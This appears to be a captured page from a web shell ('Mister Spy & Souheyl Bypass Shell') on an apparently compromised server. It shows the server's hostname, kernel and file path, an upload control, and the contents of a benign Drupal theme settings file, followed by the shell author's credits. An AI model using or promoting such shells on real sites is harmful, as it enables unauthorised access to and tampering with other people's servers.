Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/dataninja.cn/themes/adaptivetheme/at_core/src/Theme/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/dataninja.cn/themes/adaptivetheme/at_core/src/Theme/ThemeSettingsConfig.php

<?php

namespace Drupal\at_core\Theme;

use Drupal\Core\Config\Config;
use Drupal\Component\Utility\Unicode;

class ThemeSettingsConfig {

  /**
 * Set config for theme Extension settings.
 * @param array $values
 * @param \Drupal\Core\Config\Config $config
 */
  public function settingsExtensionsConvertToConfig(array $values, Config $config) {
    foreach ($values as $key => $value) {
      if (substr($key, 0, 9) == 'settings_') {
        $config_key = Unicode::substr($key, 9);
        $config->set('settings.' . $config_key, $value);
      }
    }
    $config->save();
  }

  /**
   * Set config for theme Layout settings.
   * @param array $values
   * @param \Drupal\Core\Config\Config $config
   */
  public function settingsLayoutConvertToConfig(array $values, Config $config) {
    foreach ($values as $key => $value) {
      if (substr($key, 0, 9) == 'settings_') {
        $config_key = Unicode::substr($key, 9);
        $config->set('settings.' . $config_key, $value);
      }
      // Delete suggestions config settings. Do not remove all the suggestions
      // setting because later on if the suggestion is recreated there will be
      // settings for it already which is kind of nice for the user should they
      // accidentally delete a suggestion.
      if (substr($key, 0, 18) == 'delete_suggestion_') {
        $delete_suggestion_key = 'settings.suggestion_' . Unicode::substr($key, 18);
        if ($value == 1) {
          $config->clear($delete_suggestion_key, $value);
        }
      }
    }
    $config->save();
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net